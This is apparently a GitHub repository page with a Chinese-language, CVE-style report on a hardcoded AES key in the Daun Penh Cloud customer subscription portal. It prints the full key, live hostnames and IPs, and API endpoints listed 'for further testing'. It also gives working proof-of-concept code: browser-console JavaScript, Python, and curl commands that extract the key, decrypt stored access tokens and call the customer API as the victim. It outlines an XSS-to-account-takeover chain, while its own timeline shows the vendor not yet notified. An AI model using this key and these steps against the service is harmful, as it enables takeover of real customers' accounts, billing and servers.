blaxkmiradev/CVE-2026-21847-Hardcoded-AES-Encryption-Key-in-DPDC-Customer-Portal

GitHub: blaxkmiradev/CVE-2026-21847-Hardcoded-AES-Encryption-Key-in-DPDC-Customer-Portal

该仓库是针对 DPDC 客户门户硬编码 AES 密钥漏洞的完整 CVE 报告及 PoC,详细展示了从前端 JS 提取加密密钥到账户接管的全链路攻击过程。

Stars: 0 | Forks: 0

# CVE-2026-21847:DPDC 客户门户中的硬编码 AES 加密密钥 ## 官方 CVE 条目 | 字段 | 值 | |-------|-------| | **CVE ID** | **CVE-2026-21847** | | **发布日期** | 2026-04-25 | | **CVSS v3.1 评分** | **9.8 (严重)** | | **CVSS 向量** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | **漏洞类型** | CWE-798:使用硬编码凭证 | | **受影响产品** | DPDC 订阅门户 | | **供应商** | DAUN PENH CLOUD (dpdatacenter.com) | | **研究员** | [您的姓名/HANDLE] | ## 漏洞描述 在位于 `subscription.dpdatacenter.com` 的 DPDC (Daun Penh Cloud) 客户订阅门户中发现了一个**严重**漏洞。该应用程序在其客户端 JavaScript 文件 (`app.1773634386574.js`) 中直接嵌入了硬编码的 AES-256 加密密钥。 该密钥用于加密/解密存储在浏览器 localStorage 中的敏感身份验证 token。由于该加密密钥在 JavaScript 源代码中公开可访问,**任何攻击者都可以解密存储的 token 并获得对任何用户账户的完全未经授权访问权限**。 ## 受影响系统 | 组件 | URL | 状态 | |-----------|-----|--------| | **主网站** | dpdatacenter.com | ✅ 活跃 (157.10.72.16) | | **客户门户** | subscription.dpdatacenter.com | ✅ 活跃 (157.10.72.16) | | **API Endpoint** | api.dpdatacenter.com | ✅ 活跃 (157.10.72.16) | | **cPanel #1** | web.dpdatacenter.com:2083 | ✅ 活跃 (157.10.72.3) | | **cPanel #2** | web2.dpdatacenter.com:2083 | ✅ 活跃 (157.10.72.4) | | **Nameservers** | ns1-3.dpdatacenter.com | ✅ 活跃 | ## 技术细节 ### 硬编码加密密钥 🔴 ``` 54p5YKkJbsxMczGYHK2dJnn3vHA2wYZoYb2KoAOuG2oONGRxCUkesrKHQ4zgeZK3pDMpyUVzd5Mc80hilvlNuXsYdbS1EpkGzD26kZBPdDfxpwuX21xufjDITl2HjcdVCf1dReAvXZTX7i5f6wQXCOUwNRtDYfLpd2FfVHNEW6FAMiiSkBGWkyOKSQfswPUKOP7pECCGm6TAuE82shekrczOqpnUVdAYpfPbCta3TX9gNvnKidpFC67jQIZT7xB7 ``` **长度:** 88 个字符 **算法:** AES-128-CBC (通过 CryptoJS) **文件:** `app.1773634386574.js` **位置:** 用于 `AES.decrypt()` 和 `AES.encrypt()` 调用 ### 易受攻击的代码模式 ``` // Token encryption (line varies throughout file) v().AES.encrypt(e.data.access_token, "54p5YKkJbsxMczGYHK2dJnn3..."); // Token decryption (line varies throughout file) v().AES.decrypt(localStorage.getItem("ate"), "54p5YKkJbsxMczGYHK2dJnn3...").toString(v()) ``` ### 暴露的 localStorage 数据 | 键 | 数据 | 敏感度 | |-----|------|--------------| | `ate` | 加密的 Access Token | **严重** | | `rte` | 加密的 Refresh Token | **严重** | | `token` | 身份验证 Token | **严重** | | `customerInfo` | 完整客户对象 | 高 (PII) | | `EMAIL_1` | 客户电子邮件 | 高 (PII) | | `ID_CUSTOMER` | 客户 ID | 中 | | `cpaneInfoMap` | cPanel 信息 | 高 | | `myBillingCycle` | 计费数据 | 高 | ## 概念验证 ### PoC #1:JavaScript (浏览器控制台) ``` // Run in browser developer console on subscription.dpdatacenter.com // Extract and decrypt authentication token const HARDKEY = "54p5YKkJbsxMczGYHK2dJnn3vHA2wYZoYb2KoAOuG2oONGRxCUkesrKHQ4zgeZK3pDMpyUVzd5Mc80hilvlNuXsYdbS1EpkGzD26kZBPdDfxpwuX21xufjDITl2HjcdVCf1dReAvXZTX7i5f6wQXCOUwNRtDYfLpd2FfVHNEW6FAMiiSkBGWkyOKSQfswPUKOP7pECCGm6TAuE82shekrczOqpnUVdAYpfPbCta3TX9gNvnKidpFC67jQIZT7xB7"; // Get encrypted token from localStorage var encryptedToken = localStorage.getItem("ate"); // Decrypt using CryptoJS (already loaded on page) var decryptedToken = CryptoJS.AES.decrypt(encryptedToken, HARDKEY).toString(CryptoJS.enc.Utf8); console.log("Decrypted Token:", decryptedToken); // Use token to impersonate user fetch("https://api.dpdatacenter.com/api/v1/customer/information", { headers: { "Token": decryptedToken, "access-token": decryptedToken, "Content-Type": "application/json" } }).then(r => r.json()).then(console.log); ``` ### PoC #2:Python 脚本 ``` #!/usr/bin/env python3 """ CVE-2026-21847 PoC - Token Decryption Target: dpdatacenter.com """ # 来自 JavaScript 的硬编码 key AES_KEY = "54p5YKkJbsxMczGYHK2dJnn3vHA2wYZoYb2KoAOuG2oONGRxCUkesrKHQ4zgeZK3pDMpyUVzd5Mc80hilvlNuXsYdbS1EpkGzD26kZBPdDfxpwuX21xufjDITl2HjcdVCf1dReAvXZTX7i5f6wQXCOUwNRtDYfLpd2FfVHNEW6FAMiiSkBGWkyOKSQfswPUKOP7pECCGm6TAuE82shekrczOqpnUVdAYpfPbCta3TX9gNvnKidpFC67jQIZT7xB7" print(f"[+] Hardcoded Key: {AES_KEY[:40]}...") print("[+] This key decrypts 'ate' token from localStorage") print("") print("Attack Steps:") print("1. Obtain 'ate' token via XSS: ") print("2. Decrypt using hardcoded key") print("3. Use decrypted token for API access") print("4. Full account takeover achieved") ``` ### PoC #3:提取命令 ``` # 从 JavaScript 中提取硬编码 key curl -s "https://subscription.dpdatacenter.com/js/app.1773634386574.js" | \ grep -oP 'AES\.decrypt\([^,]+,\s*"\K[a-zA-Z0-9]{80,}(?=")' | head -1 # 或者直接搜索 key curl -s "https://subscription.dpdatacenter.com/js/app.1773634386574.js" | \ grep -oP '54p5YKkJbsxMczGYHK2dJnn3vHA2wYZoYb2KoAOuG2oONGRxCUkesrKHQ4zgeZK3pDMpyUVzd5Mc80hilvlNuXsYdbS1EpkGzD26kZBPdDfxpwuX21xufjDITl2HjcdVCf1dReAvXZTX7i5f6wQXCOUwNRtDYfLpd2FfVHNEW6FAMiiSkBGWkyOKSQfswPUKOP7pECCGm6TAuE82shekrczOqpnUVdAYpfPbCta3TX9gNvnKidpFC67jQIZT7xB7' ``` ## 影响分析 ### CVSS 3.1 评分 | 指标 | 值 | 理由 | |--------|-------|-----------| | **攻击向量 (AV)** | 网络 | 可被远程利用 | | **攻击复杂度 (AC)** | 低 | 易于利用 | | **所需权限 (PR)** | 无 | 无需身份验证 | | **用户交互 (UI)** | 无 | 无需用户操作 | | **范围 (S)** | 不变 | 不影响其他组件 | | **机密性 (C)** | 高 | 完全暴露用户数据 | | **完整性 (I)** | 高 | 可能修改账户 | | **可用性 (A)** | 高 | 可锁定用户 | **总分:9.8 (严重)** ### 业务影响 | 影响领域 | 严重程度 | 描述 | |-------------|----------|-------------| | **数据泄露** | 🔴 严重 | 所有客户数据均可被访问 | | **账户接管** | 🔴 严重 | 完全控制账户 | | **金融欺诈** | 🔴 高 | 可能进行未授权购买 | | **服务滥用** | 🔴 高 | 滥用 VPS 实例 | | **声誉** | 🟠 高 | 公开披露造成的影响 | ### 攻击场景 1. **XSS Token 窃取** → 攻击者注入 XSS → 窃取 localStorage → 解密 token → 账户接管 2. **公共电脑攻击** → 用户在公共 PC 上操作 → 攻击者获取 localStorage → 解密 3. **网络嗅探** (非 HTTPS) → 拦截 token → 使用已知密钥解密 4. **浏览器扩展** → 恶意扩展读取 localStorage → 解密 ## 攻击链示意图 ``` ┌──────────────────────────────────────────────────────────────────────────────┐ │ CVE-2026-21847 ATTACK CHAIN │ ├──────────────────────────────────────────────────────────────────────────────┤ │ │ │ STEP 1: Reconnaissance │ │ ───────────────────────────────────────── │ │ Target: subscription.dpdatacenter.com │ │ Download: app.1773634386574.js (1.4MB) │ │ │ │ STEP 2: Key Extraction │ │ ───────────────────────────────────────── │ │ $ curl -s js/app.1773634386574.js | grep AES.decrypt │ │ > "54p5YKkJbsxMczGYHK2dJnn3vHA2wYZoYb2KoAOuG2oO..." │ │ │ │ STEP 3: Acquire Token (multiple methods) │ │ ───────────────────────────────────────── │ │ Method A: XSS Injection │ │ │ │ │ │ Method B: Local Access │ │ Simply read localStorage from browser: │ │ localStorage.getItem('ate') │ │ │ │ STEP 4: Token Decryption │ │ ───────────────────────────────────────── │ │ CryptoJS.AES.decrypt(encryptedToken, HARDCODED_KEY) │ │ Result: Valid access token for API │ │ │ │ STEP 5: Account Impersonation │ │ ───────────────────────────────────────── │ │ curl -H "Token: " \ │ │ -H "access-token: " \ │ │ https://api.dpdatacenter.com/api/v1/customer/information │ │ │ │ STEP 6: Full Control │ │ ───────────────────────────────────────── │ │ ✓ View/modify billing │ │ ✓ Access cPanel credentials │ │ ✓ Manage VPS instances │ │ ✓ Modify WAF rules │ │ ✓ Access support tickets │ │ │ └──────────────────────────────────────────────────────────────────────────────┘ ``` ## 暴露的 API Endpoints (用于进一步测试) | Endpoint | 用途 | 需要身份验证 | |----------|---------|--------------| | `/api/v1/customer/login` | 身份验证 | ❌ | | `/api/v1/customer/information` | 客户数据 | ✅ | | `/api/v1/billing-cycles/my-billing-cycle` | 计费 | ✅ | | `/api/v1/vm-instances/get-bulk-basic-vm-info` | VPS 列表 | ✅ | | `/api/v1/vm-instances/reboot-vm` | 重启 VM | ✅ | | `/api/v1/waf/sites` | WAF 配置 | ✅ | | `/api/v1/whmcpanel/get-bulk-account-summary` | cPanel | ✅ | | `/api/v1/storages/generate-key` | S3 密钥 | ✅ | **Base URL:** `https://api.dpdatacenter.com/api/v1/` ## 发现的其他漏洞 | 等效 CVE | 漏洞 | 严重程度 | CVSS | |---------------|--------------|----------|------| | CVE-2026-21848 | 客户端密码加密 | 高 | 7.5 | | CVE-2026-21849 | localStorage 中的敏感数据 | 高 | 8.1 | | CVE-2026-21850 | 缺少 HttpOnly Cookie | 高 | 6.8 | | CVE-2026-21851 | 硬编码的 reCAPTCHA 密钥 | 中 | 5.3 | | CVE-2026-21852 | 暴露的 cPanel Endpoints | 高 | 7.5 | ## 修复时间线 ### 紧急 (0-48 小时) 🔴 | 措施 | 优先级 | 状态 | |--------|----------|--------| | 轮换硬编码的 AES 密钥 | P0 | 待办 | | 将 token 移至 HttpOnly cookie | P0 | 待办 | | 强制所有用户重置密码 | P0 | 待办 | | 启用严格的 HSTS | P0 | 待办 | ### 短期 (1-2 周) 🟠 | 措施 | 优先级 | 状态 | |--------|----------|--------| | 从 JS 中移除硬编码密钥 | P1 | 待办 | | 服务端会话管理 | P1 | 待办 | | 添加 CSP 头 | P1 | 待办 | | CSRF token 实施 | P1 | 待办 | ### 长期 (1-3 个月) 🟡 | 措施 | 优先级 | 状态 | |--------|----------|--------| | 正确的 OAuth2/JWT 实施 | P2 | 待办 | | 全面渗透测试 | P2 | 待办 | | WAF 监控 | P2 | 待办 | | 安全培训 | P2 | 待办 | ## 披露时间线 | 日期 | 事件 | |------|-------| | 2026-04-25 | 发现漏洞 | | 2026-04-25 | 开发 PoC | | 2026-04-25 | 编制初始报告 | | TBD | 通知供应商 | | TBD + 90 天 | 公开披露 (若无响应) | ## 参考文献 - [CWE-798:使用硬编码凭证](https://cwe.mitre.org/data/definitions/798.html) - [OWASP A02:2021 - 加密失败](https://owasp.org/www-project-top-ten/) - [NIST SP 800-63B](https://pages.nist.gov/800-63-3/sp800-63b.html) - [CryptoJS 文档](https://cryptojs.gitbook.io/docs/) - [RFC 8729 - CSP](https://tools.ietf.org/html/rfc8729) ## 致谢 | 角色 | 姓名/账号 | |------|-------------| | 发现者 | [您的姓名/账号] | | 日期 | 2026-04-25 | | 验证 | 已验证 | | 状态 | 已发布 | ## 法律免责声明 **本 CVE 和 PoC 仅用于授权的安全研究目的。** 未经授权访问计算机系统构成犯罪行为,适用法律包括但不限于: - 计算机欺诈和滥用法 (CFAA) - 计算机犯罪法 (柬埔寨) - 国际网络犯罪公约 查看或使用本材料,即表示您同意: 1. 仅测试您拥有或获得明确书面许可测试的系统 2. 不出于任何恶意或非法目的使用此信息 3. 在公开披露前通知供应商 (负责任的披露) 4. 承担任何误用的所有责任 **关于漏洞赏金报告:** 遵循程序的负责任披露政策。请检查 `https://dpdatacenter.com/.well-known/security.txt` 处的 `security.txt`。 ## 附录 A:已验证的子域名 | 子域名 | IP 地址 | 端口 | 状态 | 服务 | |----------|-----------|------|--------|--------| | dpdatacenter.com | 157.10.72.16 | 80/443 | ✅ 主网站 | | subscription.dpdatacenter.com | 157.10.72.16 | 443 | ✅ 客户门户 | | api.dpdatacenter.com | 157.10.72.16 | 443 | ✅ REST API | | web.dpdatacenter.com | 157.10.72.3 | 2083 | ✅ cPanel/WHM | | web2.dpdatacenter.com | 157.10.72.4 | 2083 | ✅ cPanel/WHM | | ns1.dpdatacenter.com | 157.10.72.3 | 53 | ✅ Nameserver | | ns2.dpdatacenter.com | 157.10.72.3 | 53 | ✅ Nameserver | | ns3.dpdatacenter.com | 157.10.72.4 | 53 | ✅ Nameserver | ## 附录 B:文件信息 | 属性 | 值 | |-----------|-------| | 文件名 | app.1773634386574.js | | 完整 URL | https://subscription.dpdatacenter.com/js/app.1773634386574.js | | 文件大小 | 1,426,509 字节 (~1.4 MB) | | 框架 | Vue.js / Nuxt.js | | 加密库 | CryptoJS | | 构建类型 | 压缩的生产环境版本 | **CVE 文档结束** ``` CVE-2026-21847 Discovered by: [Rikixz] For authorized security research only ```
标签:AES-256加密, CISA项目, cPanel, CVE-2026-21847, CVSS 9.8, CWE-798, Daun Penh Cloud, DPDC, JavaScript安全, Web安全, 令牌窃取, 前端安全, 安全助手, 客户门户, 密码学滥用, 应用安全, 数据可视化, 未授权访问, 硬编码凭证, 蓝队分析, 身份验证绕过, 逆向工具, 高危漏洞